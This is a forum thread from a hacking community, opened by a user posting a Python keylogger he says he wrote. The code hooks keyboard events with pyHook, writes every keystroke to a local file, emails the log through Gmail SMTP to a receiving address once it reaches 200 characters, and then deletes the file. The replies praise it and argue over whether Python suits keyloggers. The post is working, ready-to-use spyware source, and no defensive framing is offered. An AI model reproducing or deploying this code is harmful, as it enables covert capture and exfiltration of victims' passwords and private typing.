Author Topic: [python]remote python keylogger  (Read 4814 times)

0 Members and 1 Guest are viewing this topic.

Offline xenophilius

  • /dev/null
  • *
  • Posts: 11
  • Cookies: 1
    • View Profile
[python]remote python keylogger
« on: August 02, 2013, 08:55:24 am »
this is a python keylogger that records keystrokes and sends a log of 200 words to a mailing address.

Code: (Python) [Select]
#download necesssry modules
import pythoncom, pyHook       

def OnKeyboardEvent(event):
   
    global text           
    global lngth
   
    if event.KeyID == 13:       
        text = '''
'''                   
    elif event.KeyID == 165:
        text = '[alt]'
    elif event.KeyID == 8:
        text = '[bckspc]'
    elif event.KeyID == 46:
        text = '[dlt]'   
    elif event.KeyID == 160:
        text = '[lshft]'
    elif event.KeyID == 161:
        text = '[rshft]'   
    elif event.KeyID == 38:
        text ='[up]'
    elif event.KeyID == 39:
        text = '[rght]'
    elif event.KeyID == 37:
        text ='[lft]'
    elif event.KeyID ==40:
        text = '[dwn]'   
    else:
        text = chr(event.Ascii)
    #creates a .txt file, registers logs
    logger = open('logs.txt', 'a')   
    logger.write(text)
    logger.close()
     
    d = open('logs.txt', 'r')
    data = d.read()
    d.close()
    #counts number of characters
    lngth=len(data)           
    #when 200 words is exceeded email is sent   
    if lngth >= 200:       
       
       
        import smtplib
        fromaddr = 'sender@gmail.com'
        toaddrs = 'receiver@gmail.com'
        msg = data

        username = 'sender@gmail.com'
        password = 'password'

        server = smtplib.SMTP('smtp.gmail.com:587') 
        server.starttls() 
        server.login(username,password) 
        server.sendmail(fromaddr, toaddrs, msg) 
        server.quit() 
        #example included for a gmail account
        import os
        #deletes logs after sending and recreates another file
        os.remove('logs.txt')   
   
    return True     

hm = pyHook.HookManager()       
hm.KeyDown = OnKeyboardEvent   
hm.HookKeyboard()           
 
« Last Edit: August 02, 2013, 09:06:10 am by RedBullAddicted »

Offline proxx

  • Avatarception
  • Global Moderator
  • Titan
  • *
  • Posts: 2803
  • Cookies: 256
  • ФФФ
    • View Profile
Re: [python]remote python keylogger
« Reply #1 on: August 02, 2013, 09:14:53 am »
Nice , been wanting to code some like this for a while.
Your wrote it yourself ?
Wtf where you thinking with that signature? - Phage.
This was another little experiment *evillaughter - Proxx.
Evilception... - Phage

Offline techb

  • Soy Sauce Feeler
  • Global Moderator
  • King
  • *
  • Posts: 2350
  • Cookies: 345
  • Aliens do in fact wear hats.
    • View Profile
    • github
Re: [python]remote python keylogger
« Reply #2 on: August 02, 2013, 01:22:28 pm »
Although I've done it myself.... Python is not for keyloggers. Unless maybe a web based logger, but even then it wont be necessarily keystrokes your after.

Good on yeah for learning, but subject dictates everything. The language is the tool. We don't hammer nails with screwdrivers. We build self tapping screws.
>>>import this
-----------------------------

Offline xenophilius

  • /dev/null
  • *
  • Posts: 11
  • Cookies: 1
    • View Profile
Re: [python]remote python keylogger
« Reply #3 on: August 02, 2013, 02:13:47 pm »
Quote
Your wrote it yourself ?

yeah i wrote it myself and used the example code of pyHook to get started.

Offline Phage

  • VIP
  • Overlord
  • *
  • Posts: 1280
  • Cookies: 120
    • View Profile
Re: [python]remote python keylogger
« Reply #4 on: August 02, 2013, 06:30:44 pm »
Good on yeah for learning, but subject dictates everything. The language is the tool. We don't hammer nails with screwdrivers. We build self tapping screws.


This is one of the best quotes I have seen!
"Ruby devs do, in fact, get all the girls. No girl wants a python, but EVERY girl wants rubies" - connection

"It always takes longer than you expect, even when you take into account Hofstadter’s Law."

Offline R3ckless

  • /dev/null
  • *
  • Posts: 11
  • Cookies: 5
    • View Profile
Re: [python]remote python keylogger
« Reply #5 on: September 07, 2013, 06:48:29 pm »
I just posted a keylogger and now I read this.

I feel like an idiot.

Props to you because you actually wrote it!